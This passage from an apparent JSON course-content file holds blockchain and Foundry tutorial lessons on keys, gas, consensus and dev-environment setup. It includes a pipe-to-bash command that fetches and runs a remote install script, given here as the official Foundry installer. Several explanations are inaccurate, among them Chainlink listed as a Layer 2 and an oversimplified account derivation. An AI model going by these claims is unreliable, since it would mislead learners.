key.\n\n```python\nverify(signature, public_key)\n```\n\nWhen person X attempts to impersonate Darcy and send a transaction, the fake transaction can be easily detected as the transaction signature doesn't match the public key.\n\n## Importance of Hiding Private Keys\n\nThe concept of private keys is implemented in your MetaMask account, nestled away in the Settings section. The private key isn't displayed, but is readily available when the password is entered, telling a tale of how critical it is to secure it.\n\n```python\nprint(meta_mask_private_key)\n```\n\nAnyone with access to the private key can perform and sign transactions, consequently making it absolutely vital to safeguard private keys.\n\n## The Ethereum Address and your Private Key\n\n\"sign\n\nInterestingly, the Ethereum address is a part of your public key. It's derived from hashing the public key via the Ethereum hashing algorithm and extracting the last 20 bytes. While the procedure may differ from one blockchain to another, the principle remains the same - the address is a derivative of the public key.\n\n## Recapping the Key Concepts\n\n- Your private key is super-secret, held securely by you alone as it holds the power to authorize transactions.\n- The public key created via digital signature algorithm on your private key verifies your transaction signatures.\n- The Ethereum address, an offshoot of your public key, is publicized and harmless.\n\n\"key\n\nThe private and public keys, paired with the address, create a securely functioning transaction system. This security is extended in the MetaMask account with the creation of new accounts.\n\nThe creation of any new account in your MetaMask involves your 'mnemonic' or secret phrase. The process employs simple hashing and takes your secret phrase, adds a number to it (corresponding to the new account number you want), and generates a new hash to create a private key for your new account.\n\nThus, if your mnemonic is shared, access to all the accounts created in your MetaMask or wallet is granted. However, sharing your private key only allows access to a single account, while sharing your public key or address is perfectly safe.\n\nOn a note of caution, the mnemonic is a highly treasured piece of information that needs unrelenting protection. A stolen mnemonic means access to all your accounts. Losing access to a single account due to a mishandled private key, although worrisome, is less damaging. Your public key and address, albeit valueless when displaced, are crucial pillars that solidify blockchain's security architecture.\n\nIn summary, your private key, public key, and address closely collaborate to generate, authenticate and secure transactions in the blockchain world. Maintaining their confidentiality and understanding their functions in the transaction process ensures seamless and safe blockchain usage.\n", + "updates": [] + }, + { + "id": "6f36bc8a-e920-406a-9885-39642b7864ef", + "number": 9, + "title": "Gas in depth", + "slug": "gas-in-depth", + "folderName": "9-gas-II", + "description": "Further exploration into the concept of 'gas' in blockchain transactions, including gas limits, transaction fees, and Ethereum's EIP 1559.", + "duration": 10, + "videoUrl": "7ScrQcuT7xA", + "rawMarkdownUrl": "/routes/blockchain-basics/1-basics/9-gas-II/+page.md", + "markdownContent": "---\ntitle: Gas II\n---\n\nYou can follow along with this section of the course here.\n\n\n\n# Decoding the Essence of Blockchains: Transactions and Gas\n\nOver the previous couple of blog posts, we've tried to unravel the mechanism underlying blockchains in detail. Today, the focus is on blockchain transactions and the concept of 'gas.'\n\nDon't stress if this topic sounds complex; by the end of this post, the understanding of transactions and gas in the blockchain world will become more accessible.\n\n\"block\n\n## Back to Basics: Transaction Fee and Gas Limit\n\nTo start, let's focus on a transaction's cost or its transaction fee. It's the expense incurred when performing a transaction. You can view this on Etherscan under the block base fee per gas plus the max priority fee per gas times the gas used section.\n\nTake a close look, though. Ethereum, like other digital currencies, may govern transactions differently. It follows EIP 1559, for instance.\n\n\"set\n\nIf we delve deeper, we find that the transaction used gas equal to the gas limit. Now the gas limit is changeable and is the maximum gas you're willing to use up in a transaction. This limits the computation units and prevents overuse. It can be adjusted using MetaMask (or any other Ethereum wallet).\n\n```python\nclick Send-> Advanced -> change Gas limit.\n```\n\nMetaMask defaults the gas to 21,000 (Base cost for transferring Ether). Also present here are the priority fee and max base fee. If the gas needed exceeds the limit set, the transaction fails.\n\n## Blockchain Jargon: Gwei and Ether\n\nPricing in Ethereum uses a unit called `gwei`. Unfamiliar with this term? Let me simplify it for you. Just as dollars and cents are part of the same family, Ethereum and gwei are too. Visit [Ethconverter.com](https://eth-converter.com/) to see one Ether's worth in terms of GWei.\n\n\"set\n\nThe Max fee refers to the maximum gas fee we're ready to shell out for the transaction. It could be more than the actually paid gas price. Furthermore, the 'Max Priority Fee' accounts both for the maximum gas fee and the maximum tip given to miners.\n\n## Gas Burning and Transaction Fees\n\nWith Ethereum's EIP 1559, a portion of the transaction fee is subtracted permanently from the total Ether supply, thereby 'burning' it. This eventually leads to a decrease in its circulation. The rest proceeds to miners. To tabulate the exact amount given to miners, subtract the 'burnt' fee from the total fee.\n\nEach transaction type is unique, and Ethereum type 2 EIP 1559 signifies these gas fee and burning transactions.\n\n\"brun\n\nEthereum's unique base fee system changes in response to the demand for transaction inclusion. If more transactions need inclusion, the base fee rises, and vice versa. This base fee is mathematically adjusted to maintain block capacity at around 50%.\n\n## A Recap on Transactions\n\n> \"Every transaction on blockchain consists of unique transaction hash, status, block number, block confirmations, gas used, gas limit, timestamp, senders and receiver's address, transaction fee and so on.\"\n\nCheck the image below for a more comprehensive overview.\n\n\"gas\n\n## Minutiae of Blockchains\n\n- The unique transaction hash identifies each transaction.\n- 'Block confirmations' signify the number of blocks mined after a block's inclusion. The higher the number of confirmations, the more secure the blockchain.\n- Once the transaction is included, you can see the block and all its transactions.\n- For Ethereum transfers, input data remains blank, but for Smart Contracts, it holds crucial transaction information.\n- The State tab, for advanced users, shows state changes linked to the transaction.\n\nWith the basics of blockchains, transactions, and gas now clearer, it's time to dive deeper into the blockchain fundamentals. Y\n\nNow that you're all geared up with the theoretical know-how, it's time to dive into the practice! Incidentally, that's what we will be exploring in the next post. Stay tuned!\n", + "updates": [] + }, + { + "id": "872fe9ea-6511-413a-acaf-5f997e725417", + "number": 10, + "title": "How blockchains work", + "slug": "how-the-blockchain-works", + "folderName": "10-blockchain-fundamentals", + "description": "Comprehensive overview of fundamental blockchain concepts including cryptography, node operations, consensus protocols, and scaling solutions.", + "duration": 18, + "videoUrl": "NgHe7yuhyhU", + "rawMarkdownUrl": "/routes/blockchain-basics/1-basics/10-blockchain-fundamentals/+page.md", + "markdownContent": "---\ntitle: High Level Blockchain Fundamentals\n---\n\nYou can follow along with this section of the course here.\n\n\n\n## Understanding Cryptography and Blockchain\n\nIn our previous discussions, we have covered basic concepts of cryptography and elements of blockchain. Now, let's discuss how these concepts translate into real-world applications. It is important to bear in mind that varying blockchains utilize different algorithms and criteria, so there might be minute variations in the implementation, but the core principles remain consistent.\n\nIn the traditional sense, when we interact with an application or a server, such as a website, we are essentially engaging with a centralized entity. Contrarily, as we've seen, a blockchain operates within a network of independent nodes, all managed by individual users running blockchain software.\n\nIn the realm of blockchain, the term `node` takes on a special significance, emerging as the heartbeat of the decentralized system. Imagine it this way - each `node` represents an individual user's server, pulsating with the rhythmic cadence of blockchain technology. When these nodes sync and engage with each other, they weave together an intricate and robust blockchain network. The real magic, however, lies in its democratic essence. In this decentralized universe, anyone armed with the right hardware and software can join the network, embodying the true spirit of decentralization. This is not just a technological concept; it's a silent revolution celebrating inclusivity and accessibility.\n\nFor those eager to participate, Websites like GitHub offer the opportunity to set up your own Ethereum node in a matter of seconds!\n\n## Blockchain: A Decentralized Powerhouse Resilient to Disruptions\n\nThe primary advantage of blockchain technology is its resilience to disruptions. Here's the reason: traditional online systems run by centralized entities are vulnerable. If they shut down due to a variety of reasons (like being hacked or due to internal issues), their services are interrupted.\n\nOn the other hand, blockchains are decentralized, and the chances of all nodes shutting down simultaneously are extremely low. So, even if one or more nodes fail, the system continues to operate unabated, as long as there is at least one functioning node. This inherent backup feature makes blockchain an incredibly resilient system. Popular chains like Bitcoin and Ethereum consist of thousands of nodes which makes them even more resistant to disruptions.\n\n## The Consensus Protocols: Proof of Work and Proof of Stake\n\n\"block\n\nNow that we've reviewed some fundamentals, let's move on to two key concepts you may have heard about: 'Proof of Work' and 'Proof of Stake'. These concepts are crucial to understanding how blockchains work.\n\nProof of work and proof of stake fall under the umbrella of consensus. Consensus is a critical topic when it comes to blockchains because it is used to reach an agreement on the state or a single value on the blockchain, especially in a decentralized system.\n\nIn the majority of blockchains, the consensus protocol can be broken down into two constituent parts; a chain selection algorithm and a civil resistance mechanism. We'll touch on the main characteristics of each mechanism and then cover in more detail how Proof of Stake forms an evolved alternative to the electricity-hungry Proof of Work.\n\n### Proof of Work: Deciphering the Consensus Protocol\n\nAs already discussed, Proof of Work is a civil resistance mechanism, a way to avert potential Sybil attacks. A Sybil attack is when a user creates numerous pseudonymous identities aiming to gain a disproportionately influential sway over the system. In the Proof of Work environment, such an attack is difficult to execute. As Sybil resistance is inherent in the mechanism, irrespective of how many aliases an attacker creates, every identity must undertake the highly resource-intense process of mining to find the answer to the blockchain's puzzle.\n\nThe Proof of Work mechanism also interacts with the consensus protocol's other key component: the chain selection rule. With this, the decentralized network decides that the longest chain - i.e., the one with the highest number of blocks - will be the authoritative chain.\n\n### Consensus and Scalability Issues\n\nOne key compromise with Proof of Work is the substantial demands it puts on electricity, rendering it environmentally unfriendly. This has spurred the development of more eco-friendly protocols, such as Proof of Stake. This alternative consensus protocol follows a different sybil resistance mechanism: rather than expending substantial computational resources to mine blocks, in Proof of Stake, nodes or \"validators\" instead stake collateral as a surety they will behave honestly.\n\nHowever, another significant issue requiring attention is scalability. As the number of transactions exceeds the amount of block space, latency and high transaction costs, or \"gas fees\", can become a hindrance.\n\n### Layer 1 and Layer 2 Scaling Solutions\n\nBlockchain developers have devised two key options in response to this limitation:\n\n1. `Layer 1` solutions: This refers to base layer blockchain implementations like Bitcoin or Ethereum.\n2. `Layer 2` solutions: These are applications added on top of a layer one, like [Chainlink](https://chain.link/) or [Arbitrum](https://arbitrum.io/).\n\nOptions like Arbitrum, for instance, use a \"roll-up\" approach where transactions are processed in bulk and then rolled up into a Layer 1 blockchain. This increases the effective capacity of a Layer 1 blockchain, allowing it to absorb more transactions, effectively easing the scalability issue.\n", + "updates": [] + }, + { + "id": "1a5beaf9-4b6d-44b4-904d-357908e344fb", + "number": 11, + "title": "Congratulations", + "slug": "blockchian-basics-completed", + "folderName": "11-basics-completed", + "description": "Celebratory conclusion of the blockchain basics series, highlighting the journey from theoretical understanding to practical application.", + "duration": 1, + "videoUrl": "qlnZNeMY_hU", + "rawMarkdownUrl": "/routes/blockchain-basics/1-basics/11-basics-completed/+page.md", + "markdownContent": "---\ntitle: Congratulations!\n---\n\nIf you reached this section you are awesome!! You can follow along with this section of the course here.\n\n\n\n## Demystifying Blockchain: From Basics to Code\n\nAs we wrap up our series on blockchain basics and elaborate further with insightful blockchain explainers, we not only aim to offer a seamless transition into blockchain-related fields but also make it enjoyable and interesting. With the knowledge you've garnered, you are now equipped to explore the world of blockchains more competently and confidently.\n\nBy marching this far, you should not only be proud of your accomplishments but also be excited about the journey ahead. It is indeed commendable that you took upon yourself to understand the complexities of blockchain technology.\n\n\"block\n\n## Venturing into The Coding Aspect\n\nNow that you've grasped a lot of the basics and fundamental concepts of blockchain, it's time to delve into the coding aspect. This is where the more practical aspects of blockchain technology come into focus. The transition from theoretical insights to practical applications can be a thrilling journey, especially when we're talking about something as ground-breaking as blockchain.\n\n### Learning Solidity Basics\n\nSolidity is a statically-typed programming language designed for implementing smart contracts on Ethereum-based blockchain platforms. To put it simply, if blockchain was a car, Solidity would be the engine that drives it, or more specifically, the language in which the engine's instructions are written.\n\nOur next section will introduce you to the solidity fundamentals. This will equip you with the necessary skills to start coding in Solidity and offer an in-depth understanding of how smart contracts work under the hood.\n\nAt this juncture, it is appropriate to revisit your achievements. After all, learning is a continual process and every milestone deserves a celebration.\n\n#### Give yourself a virtual high-five for your fantastic progress. If you've found our content helpful, we'd love to hear more about your journey. You can reach out to us in the GitHub discussions!\n\nThe switch from learning blockchain concepts to actually applying them might be stark, yet it's exhilarating. It signals the progression from rudimentary understanding, to applying that knowledge, and finally, creating something new and valuable. And let's face it, in today's tech-savvy world, knowing how to code is a power in itself.\n\nSo congratulations are in order! By seeking to learn Solidity and understanding how to interact with blockchains, you’re standing at the gateway of endless potential. Get ready to unlock new opportunities in the world of technology, as you step into the exciting realm of blockchain coding. Remember, every code you write brings us one step closer to a decentralized world. Happy coding!\n\nYour next Chapter is to learn the:\n\n\n\n\n\n\n", + "updates": [] + } + ] + } + ] + }, + { + "id": "ec5bc4d6-9638-48da-a92a-d956a4b38003", + "title": "Foundry Fundamentals", + "slug": "foundry", + "folderName": "foundry", + "lastUpdated": "Thu Dec 14 2023 10:13:17 GMT-0500 (Eastern Standard Time)", + "trailerUrl": "", + "previewImg": "https://res.cloudinary.com/droqoz7lg/image/upload/v1701193477/updraft/courses/ccrmrt6nnfgcyuk2o7bu.png", + "description": "Already know Solidity? Your next step is Foundry! Learn how to manage your dependencies, compile your project, run tests, deploy, and interact with your from the command-line and via Solidity scripts.", + "path": "Solidity Developer", + "number": 0, + "githubUrl": "https://github.com/Cyfrin/path-solidity-developer-2023/discussions", + "overview": { + "learnings": "Foundry introduction, smart contracts development, oracles, smart contracts testing, intengration testing, forge test, local smart contracts deployment", + "preRequisites": ["Blockchain basics", "Solidity fundamentals"] + }, + "duration": 10, + "authors": [ + { + "name": "Patrick Collins", + "role": "Founder", + "avatarUrl": "https://res.cloudinary.com/droqoz7lg/image/upload/v1700778389/patrick_zrg8k0.webp", + "company": "Cyfrin" + }, + { + "name": "Richard Gottleber", + "role": "Developer relations", + "avatarUrl": "https://pbs.twimg.com/profile_images/1575811580419350528/YDFtORxH_400x400.jpg", + "company": "Chainlink" + }, + { + "name": "Vasiliy Gualoto", + "role": "Developer relations", + "avatarUrl": "https://pbs.twimg.com/profile_images/1699392014431690752/85CtsxgA_400x400.jpg", + "company": "Cyfrin" + } + ], + "sections": [ + { + "number": 1, + "id": "b224a5a3-2e7f-4c8d-b5a2-c95980b6f011", + "title": "Foundry Simple Storage", + "slug": "foundry-simple-storage", + "folderName": "1-foundry-simple-storage", + "lessons": [ + { + "id": "1583c486-11aa-4273-96e4-69f0b1f86392", + "number": 1, + "title": "Introduction - Foundry simple storage", + "slug": "introduction-foundry-simple-storage", + "folderName": "1-introduction-foundry-simple-storage", + "description": "Introduction to transitioning from Remix IDE to Foundry for professional smart contract development, along with resources for troubleshooting.", + "duration": 7, + "videoUrl": "i22RLgAu51g", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/1-introduction-foundry-simple-storage/+page.md", + "markdownContent": "---\ntitle: Foundry Simple Storage Introduction\n---\n\n_Follow along the course with this video._\n\n\n\n# Moving Beyond Remix: The Transition to Professional Smart Contract Development\n\nWelcome to this fascinating journey from _Remix_, a phenomenal integrated development environment (IDE), to a more advanced and professional setup. Our goal is to integrate modern toolsets that are widely adopted within the development community. Although the initial transition process might seem daunting, I promise you, it's an enriching learning curve worth experiencing!\n\n## Conquering the Transition: Being Vigilant and Resourceful\n\nWe all know that setting up your local development environment without using Remix can be a challenging task. So, I urge you to make the most of these following valuable resources for troubleshooting:\n\n- [Chat GPT](https://chat.openai.com/)\n- [Stack Exchange ETH](https://ethereum.stackexchange.com/)\n- [Web three education dev](https://web3education.dev/)\n\n\n\nAs we embark on this journey, remember, it's okay for things not to work at the first instance. It's absolutely fine! The trick lies in asking **specific** questions related to the errors you encounter. Install these valuable resources and do not let them be an obstacle in your developmental progression.\n\n\n\nWe're about to take that plunge and learn how to implement these tools in our development environment right now!\n\n## Introducing Foundry: A Professional Smart Contract Development Framework\n\nAlthough we're saying goodbye to Remix, we're switching to an even more powerful tool - [Foundry](https://github.com/foundry-rs/foundry). It's renowned within the developer's community as one of the most popular smart contract development frameworks.\n\nFoundry has numerous pros, such as:\n\n- It's known for its exceptional speed\n- It's entirely Solidity-based, eliminating the need to learn other programming languages\n- Its documentation is comprehensive.\n\nCheekily referred to as Brownie or HardHat, Foundry is an invaluable asset to smart contract developers due to its speed and efficiency.\n\nDon't forget to refer to the project's GitHub repo for additional assistance. It contains all the vital code necessary for the course in handy detail.\n\n### Foundry vs. Remix: Why the Transition?\n\nNow, you might wonder, \"Why do we need to transition to Foundry when Remix appears to be working just fine?\"\n\nAllow me to clarify that. With Remix, we performed many tasks manually, such as compiling or deploying contracts and testing the logic by repeatedly clicking through the UI. If the smart contract contains a large number of functions, the process can quickly escalate, and so can the risk of introducing errors.\n\nOn the other hand, Foundry automates these tasks, reducing the risk of errors and improving workflow efficiency. With Foundry, you can run the tests for all the functions via one single command, which is not possible with Remix due to its manual nature.\n\nFoundry also deserves special mention because it is the preferred choice of Smart Contract security engineers and auditors. I'm eager for you to experience the quick and efficient nature of this smart contract development framework.\n\n## Visual Studio Code: A Powerful Text Editor\n\nNext up, I'll introduce you to Visual Studio Code, one of the most robust code editors out there. If you're already comfortable using Visual Studio Code, feel free to skip this part.\n\n\n\nPlease, don't confuse this with Visual Studio, a separate application - make sure that your selected version is Visual Studio **Code**.\n\nIn case you prefer working in an environment like Atom, Sublime, or with tools like PowerShell or Terminal, feel free to do so. However, for this course, we'll stick with Visual Studio Code and you will be guided through its setup.\n\n## Installation Instructions: Find the One that Suits You\n\nLastly, we'll go through the installation processes for three different systems:\n\n- Mac and Linux\n- Windows\n- Last-ditch effort: Gitpod installation.\n\nI highly encourage getting everything running natively in your local environment. However, if all else fails, follow the Gitpod installation process.\n\nStay tuned for the next post where we commence with Mac and Linux installations.\n\nThat's all for now, folks. Are you excited to get started on this thrilling journey from Remix to Foundry? Let's forge ahead with a 'learning' and 'growing' mindset!\n", + "updates": [] + }, + { + "id": "8cd5e9ef-3879-4af3-b2b2-ba4135ed238e", + "number": 2, + "title": "Development environment setup (Mac, Linux)", + "slug": "development-environment-setup-mac-linux", + "folderName": "2-Mac-Linux-Install", + "description": "Guide to setting up a development environment on Mac and Linux, including installing Visual Studio Code (VSCode) and Git.", + "duration": 3, + "videoUrl": "hqAtBgSBzPQ", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/2-Mac-Linux-Install/+page.md", + "markdownContent": "---\ntitle: Mac & Linux Install (VsCode & Git)\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nWelcome to our step-by-step guide to set up Your Development Environment using Visual Studio Code (VSCode) and Git. Whether you're new to coding or just trying to set up a fresh machine, this guide will get you up and running in no time.\n\n## Downloading Visual Studio Code\n\nLet's start at the very beginning: by downloading Visual Studio Code. You can download for macOS or, if you're on a Linux system, you'll want the Linux installation. After you have this software installed, you’ll be welcomed by a well-structured interface much as below.\n\n\n\nFortunately, this friendly code editor doesn’t leave you in the dark but gives you tips to get started. By all means, if you're unfamiliar with VSCode, seize the opportunity to navigate through the \"Get Started\" instructions. These valuable tips could clear many hurdles on your upcoming coding adventures. Additionally, the [Visual Studio Code crash course](https://youtu.be/WPqXP_kLzpo) in the GitHub repository related to this course offers a wealth of concise and handy information.\n\n## Introducing the VSCode Terminal\n\nVSCode offers an immensely helpful feature – the terminal, or command line prompts, providing the backstage entrance to run your scripts. To access it, simply navigate to the 'Terminal' tab in your menu and select 'New Terminal'—you'll be presented with a shell, which could be Bash, ZSH or another type. Regardless of the shell type, they all function pretty similarly.\n\nAt this point, a quick note on navigation helps. For Mac or Linux users, the `CTRL + backtick` command allows you to swiftly toggle between Terminal modes, providing a major productivity boost. It's always beneficial to familiarize yourself with keyboard shortcuts as they enable efficient movement around VSCode. To ease your way into shortcut navigation, here you have a comprehensive list of [keyboard shortcuts](https://code.visualstudio.com/docs/getstarted/keybindings) for VSCode.\n\nMoreover, terminals can easily be deleted and recreated. Simply hit the trash can icon to delete the terminal, then navigate to `Terminal > New Terminal` to reopen a fresh one.\n\n## Installing Git\n\nAs we delve deeper into building your development environment, it's important to introduce Git. While it's not immediately necessary, it’s good practice to install it early on.\n\nIf you're on a Linux system, you're likely to use one of two commands to install Git. On a macOS, a simple `git` command in the terminal should prompt an invitation to install.\n\n\n\nOnce the installation is successful, typing `git version` into the command line should give you something that looks similar to this:\n\nFor the macOS folks, there is an easier way by using the macOS Git installer that can be accessed [here](https://git-scm.com/download/mac) to run through the installation process.\n\n## Wrapping Up\n\nCongrats! You have installed Git and Visual Studio Code. With these basics in place, we'll be able to delve into more detailed coding concepts in the next sections of this guide. Please note that if you're working on a platform not covered, like Windows or Gitpod, you might want to skip the next sections.\n\nOur goal is to ease your journey into the coding world, and we're thrilled to help you establish a strong foundation. Hop onto the next sections and let’s continue this exciting journey.\n\n\n", + "updates": [] + }, + { + "id": "1dc6bc68-2034-4861-a2bd-8b7f96e42f1e", + "number": 3, + "title": "Development environment setup (Windows)", + "slug": "development-environment-setup-windows", + "folderName": "3-Windows-Install", + "description": "Tutorial on setting up a development environment on Windows using WSL (Windows Subsystem for Linux) and installing Visual Studio Code.", + "duration": 8, + "videoUrl": "4O_GbjwhoFU", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/3-Windows-Install/+page.md", + "markdownContent": "---\ntitle: Windows Install (WSL)\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nWe'll be taking a special look at a handy tool known as WSL (Windows Subsystem for Linux). Assisting us in this tutorial is the amazing Basili, a guru in Windows setup who has been tremendously helpful in some of my past training courses.\n\nThis tutorial will be beneficial for anyone using Windows 10 or later versions. We'll begin by installing our code editor - in this specific case, Visual Studio Code.\n\n## Getting Started with Visual Studio Code Installation\n\nTo install Visual Studio Code (VS Code for short) on your machine, begin by opening up your web browser and typing `VS Code` in the search box. Follow these steps:\n\n- Select the VS Code version suited for Windows\n- Choose your desired installation location\n- Save the file\n- After download, proceed with the installation - the same as with any other program installation process\n\nYou'll notice that to install VS Code, you must accept the agreement and then proceed to add the code to your system path, create a desktop icon, and click 'Next' to install. The process won't take much time. After this, you can customize the theme, create shortcuts, and sync VS Code with your other devices.\n\nIf you wish to get a more in-depth understanding of VS Code, I recommend you pause this tutorial right here and explore these options one by one.\n\nAlthough we could proceed to install the rest of our development tools in a Windows environment, you'll find the following section of this tutorial very important. While Microsoft has made significant efforts to further support developers in recent years, the best option to consider still remains WSL, especially when it comes to smart contract development.\n\n## Transitioning to a Better Developer Environment with WSL\n\nThe Windows Subsystem for Linux (WSL) proves to be a considerable game-changer in this scenario. As a developer, you'll often find yourself working with tools and utilities primarily found in Unix-based environments. Windows has made significant strides in supporting developers; however, when setting up the right development environment and running certain command-line tools, some challenges persist.\n\nTo ensure that your code runs on various machines using Unix-based systems like Mac and Linux, you'll find WSL to be immensely beneficial. How exactly does WSL help? By setting up a Linux distribution using WSL, you gain access to a Unix-like console right on your Windows machine.\n\nDon't worry, you don't need to have master-level tech skills to set this up – all it takes is a few easy steps, which we'll cover next in our tutorial.\n\n## Installing WSL and Setting Up a Linux Distribution\n\nLet's start by installing WSL. Head over to the Windows Terminal, a pre-installed application on Windows 11 and easily accessible on Windows 10 via the Microsoft Store. All you have to do is type `WSL --install` and hit Enter. This will trigger the installation process requiring you to reboot your operating system.\n\n```\n# Open the Windows Terminal\n$ Windows Terminal\n# Key in the command to install WSL\n$ wsl --install\n```\n\nAfter your system reboots, the Terminal will open automatically and proceed with the installation. During the setup, you'll need to input a new Unix username - choose one unique to you - and secure it with a password of your choice. And voila, you have an operational Linux terminal on your Windows machine!\n\n## Making Visual Studio Code Compatible with WSL\n\nNow that we have our Linux terminal set up through WSL, we'll need to ensure its compatibility with VS Code.\n\nOpen up VS Code and navigate to the Extensions tab. Here, look for the Remote Development extensions and proceed to install each of them. This will enable VS Code to operate with WSL seamlessly.\n\nOnce this is done, you'll find that a new icon has appeared - 'Open a Remote Window')) which allows you to connect directly to WSL. However, there's an even simpler way to connect– through our Linux terminal!\n\nCreate a new folder in the terminal (for example, a folder named `solidity course`), navigate to this folder, then type `code .` and hit Enter. This command will automatically install the latest server for WSL on VS Code and open a new VS Code instance connected with WSL.\n\nAt this point, you should now see the WSL Ubuntu banner at the bottom of your VS Code window. You have two options to choose from when considering your development needs – either use the Windows Terminal or the integrated terminal that comes with VS Code.\n\n**Please Note:** When you conduct your projects from a folder inside Windows, like `Development` inside your documents, it's crucial to know that the WSL console will only access local files inside the WSL instance. Therefore, it's recommended to keep files inside the WSL instance for faster communication and convenience.\n\n## Preparing for Git Installation\n\nThe final part of our setup involves installing Git. While we won't directly use Git in this course, it is an essential tool for future use. To check if Git is pre-installed, simply run the command `git version`. If Git is not installed yet, you will have to install it independently.\n\nRemember, for those opting to continue with PowerShell or Windows instead of transitioning to WSL, you will need to download and install Git for Windows from the official Git page.\n\nCongratulations if you've managed to set up your developer environment as explained in this elaborate tutorial! With these tools at your disposal, you can develop smart contracts using Windows while experiencing the ease and flexibility Mac and Linux developers are accustomed to. Always ensure that your VS Code is connected to WSL Ubuntu, and feel free to use either a Windows or WSL environment, depending on your preference. Happy coding!\n", + "updates": [] + }, + { + "id": "f6c97bd6-2af2-4865-8076-d02bef7f32c9", + "number": 4, + "title": "Develop in cloud using Gitpod", + "slug": "introduction-to-gitpod", + "folderName": "4-gitpod", + "description": "Overview of using Gitpod for cloud-based development, highlighting its benefits, limitations, and precautions for usage.", + "duration": 5, + "videoUrl": "z4jpbjQVnKQ", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/4-gitpod/+page.md", + "markdownContent": "---\ntitle: GitPod Setup\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nIn the vast, ever-evolving world of coding, more and more tools are being developed to facilitate programmers. One such tool is Gitpod, a cloud development environment that enables you to run your code on a remote server. In this blog post, we will guide you through the processes of setting up your development environment using Gitpod, highlighting its pros, cons and tips for smoother running.\n\n## Something About Gitpod\n\nGitpod is similar to Remix IDE and allows you to run Visual Studio code either in the browser or connected to another server. The key benefit of using Gitpod is bypassing the setup process. It spares you the need to conduct installations on any device, as you get to execute all your desired tools on the remote server.\n\nNevertheless, dependent on its status, Gitpod may also limit when you can code. It’s also worth noting that Gitpod is not completely free, which may be discouraging particularly for emerging developers.\n\nFurthermore, for the safety of your cryptocurrency, avoid running any code with a private key containing real money on Gitpod. The reason for this caution is that the remote servers may potentially access your private keys. As long as you don't use a MetaMask or any private key linked to actual funds during this interactive Gitpod setup, everything should work just fine.\n\n## Embarking on Gitpod\n\nTo begin, you will observe an \"Open in Gitpod\" button in all our code repos, starting from lesson five \"Simple Storage on Ethersjs\".\n\n\n\nAfter clicking the button, a \"Welcome to Gitpod\" sign appears and you should click on \"Continue with GitHub\". If Gitpod is linked to your GitHub account, it will automatically create a workspace for you, which mimics Visual Studio code.\n\n\n\nTo run your Gitpod from your local Visual Studio code :\n\n1. Spot if “Gitpod” is indicated.\n2. Tap the prompted pop-up, \"do you want to open this workspace in Vs code desktop?\"\n3. Install Gitpod extension on your Visual Studio code when prompted.\n4. Click \"Reload Window\" then \"Open\".\n5. The workspace then initiates a connection.\n\nAlternatively, you can manually run it by clicking \"Open in Vs code\" in the bottom left corner of Gitpod.\n\n\n\n## Navigating the Workspace\n\nIf you opt for this type of development, remember that you are coding on a remote server, not locally. Hence, never save sensitive data, such as your private keys in this workspace.\n\nThe workspace resembles your typical local setting. You can create new folders and workstations, and run all commands, just like when using Visual Studio.\n\nTo establish a new terminal, simply click on the little bar at the top left part of the screen, go to \"Terminal\" then hit \"new Terminal\". As an alternative, you can use the Control tilde shortcut, similar to macOS and Linux keyboard shortcuts.\n\nThese commands basically create a directory called \"New Folder\" then change the current directory into \"NewFolder\". To verify that you're in the right place, the command \"code .\" can be used. It transports you to the new folder.\n\n## Conclusion\n\nWhile Gitpod is not without its shortcomings, its ability to provide a ready-to-code environment that requires no installation, accessible from anywhere and on any device, makes it stand out. It's a fantastic option if you can't get the installation working.\n\nKeeping Gitpod’s conditions and a few precautions in mind, you're now ready for remote coding. Happy programming!\n\n\n\n\n", + "updates": [] + }, + { + "id": "e01f8186-fca4-4adc-be04-47d5c0720b66", + "number": 5, + "title": "Foundry setup", + "slug": "foundry-setup", + "folderName": "5-foundry-install", + "description": "Step-by-step guide on installing and operating Foundry, a tool for smart contract development, compatible with Windows, Linux, and MacOS.", + "duration": 8, + "videoUrl": "VBYFeGO9vWc", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/5-foundry-install/+page.md", + "markdownContent": "---\ntitle: Foundry Install\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nWelcome to this handy guide on installing and operating Foundry, a versatile tool that will add a new level of command-line ease to your developer journey. Whether you're running Windows, Linux or MacOS, we've got you covered with instructions and tips. So sit back, grab a cup of coffee, and let's dive in.\n\n## Prepping your Terminal\n\nFirst things first. Before we dive into installing Foundry, make sure you have your terminal set up correctly.\n\nIf you are using Windows, you should see something like `WSL` or `Ubuntu`. Once you have your terminal environment ready, it’s time for some quick tips to help streamline your workflow.\n\n### Keeping your Terminal Clutter-free\n\nWhen commands pile up in your terminal, things can get a little overwhelming. Clear it up by simply typing `clear` and hitting `Enter`. Alternatively, use `Command K` if you're on a Mac or `Control K` if you're on Linux or Windows.\n\n**Pro tip:** This is one of my favorite keyboard shortcuts that I use all the time.\n\n### Understanding the Trash Can and the X\n\n\n\nThe trash can and the X buttons in your terminal perform distinct functions. Hitting `X` simply hides your terminal but retains all the previous lines of code. On the other hand, trashing it essentially deletes whatever is running in it. To open up a clean terminal, hit the trash can and then pull it back using `Toggle` or `Terminal > New Terminal`.\n\n## Installing Foundry\n\nWith our terminal set and some tips up our sleeve, let's progress to installing Foundry. Navigate to the [Foundry website](https://book.getfoundry.sh/getting-started/installation) and from the installation tab, fetch the command to install Foundry.\n\nThe command would look something like this:\n\n```bash\ncurl -L https://foundry.paradigm.xyz | bash\n\n```\n\nHit `Enter` after pasting this in your terminal.\n\n**Note:** You must have Internet access for this to work as it's downloading Foundry from their official website.\n\n## Verifying Your Installation\n\nAfter running the `curl` command, an output will appear at the bottom of your terminal indicating the detected shell and the fact that Foundry has been added to your `Path`.\n\nFor instance, the output can be something like this:\n\n```bash\nDetected your preferred shell is bashrc and added Foundry to Path run:source /home/user/.bashrcStart\na new terminal session to use Foundry\n```\n\nNow, simply type `foundryup` and `Enter` to install and update Foundry to the latest version. Whenever you want to install an update for Foundry, simply run `foundryup` again.\n\nThis will install four components: forge, cast, anvil, and chisel. To confirm the successful installation, run `forge --version`. You should get an output indicating the Forge version as shown below.\n\n```bash\nForge version x.x.x\n```\n\nNow, here's something to remember: when you 